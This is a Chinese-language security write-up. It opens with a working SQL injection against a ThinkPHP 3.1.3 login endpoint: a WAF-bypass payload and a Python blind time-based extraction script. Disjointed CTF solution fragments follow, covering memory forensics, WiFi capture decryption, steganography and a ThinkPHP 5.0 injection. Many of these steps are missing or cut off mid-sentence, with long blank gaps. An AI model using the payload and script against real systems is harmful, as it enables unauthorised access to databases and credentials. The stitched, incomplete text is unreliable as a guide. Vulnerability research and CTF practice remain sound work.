thinkphp3.1.3 bypass sql注入
这是某次众测发现的漏洞,开始发现是thinkphp3.1.3框架,尝试了下将参数变成数组形式,返回sql报错,之后就尝试绕过waf。
url:http://**/console/
登陆处存在sql注入
存在漏洞的url:http://**/console/Admin/Index/Login.shtml
1、account参数存在sql注入,通过#a%0a可bypass waf 如下语句可造成10秒延迟,验证注入
account[]=exp&account[1]=))#a%0aunion(#a%0aselect#a%0a(#a%0aselect#a%0asleep#a%0a(10))#a%0afrom#a%0a(select#a%0asleep#a%0a(10))a)#
2、编写脚本获取数据库名:
import requests
import time
u = "http://**/console/Admin/Index/Login.shtml"
strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
strs = "abcdefghijklmnopqrstuvwxyz0123456789_"
headers = {
"Cookie":"PHPSESSID=xxx"
}
sess = requests.session();
sess.headers=headers
xixi =""
def check(i,s,times=1):
t1 = time.time()
data = {
"account[]":"exp",
"account[1]":"))union#a\n(select#a\n(1)from#a\n(select if#a\n(lower((mid((database()),"+str(i)+",1)))='"+s+"',sleep#a\n(4),0))a)#",
"password[]":"6a",
"verify":"6677",
}
print(s)
r = sess.post(u,data=data,proxies={"http":"http://127.0.0.1:8080/"})
t = time.time()-t1
if t>4:
if times==1:
return check(i,s,times+1)
return True
return False
for i in range(len(xixi)+1,50):
for s in strs:
if check(i,s)==True:
xixi=xixi+s
print(xixi)


POC:
查看缓存在内存中的注册表:
获取 SAM 表中的用户:
查看内存中系统的密码:
CMD5解密
通过filescan查找ctf用户下的文件 发现1.png
将1.png dump下来,查看文件。与密码结合获得flag
##被加密的wifi
通过分析数据包发现key为88888888
通过airdecap-ng命令输入密码解密数据包
在已解密的数据包中找到flag

通过winhex修改文件高度
得到一半flag
翻到文件底部发现很多20和09,想到通过二进制生成二维码,将20修改为0,09改为1
使用脚本转换为图片,得到二维码
扫描得到flag
首先查看路由信息


进入
接着又传递给



















































一开始想到的是
这里没啥思路只能爆破
密码为orange 访问到另外一个页面 然后登录。 发现是一张迪丽热巴的图片 这个主管很喜欢迪丽热巴啊!!
将图片下载下来,用
这个地方解了很久发现使用Dilraba的md5。。。。
得到一张图片再一次foremost得到一个压缩包成功拿到flag
2.题目:单身二十年


访问页面发现是一个thinkphp5.0 一猜就是sql注入
一开始以为是构造一个注入然后load_file到flag后来发现想多了,直接通过payload拿到mysql账号密码
主页查看源码发现有一个phpmyadmin,登陆后成功拿到flag
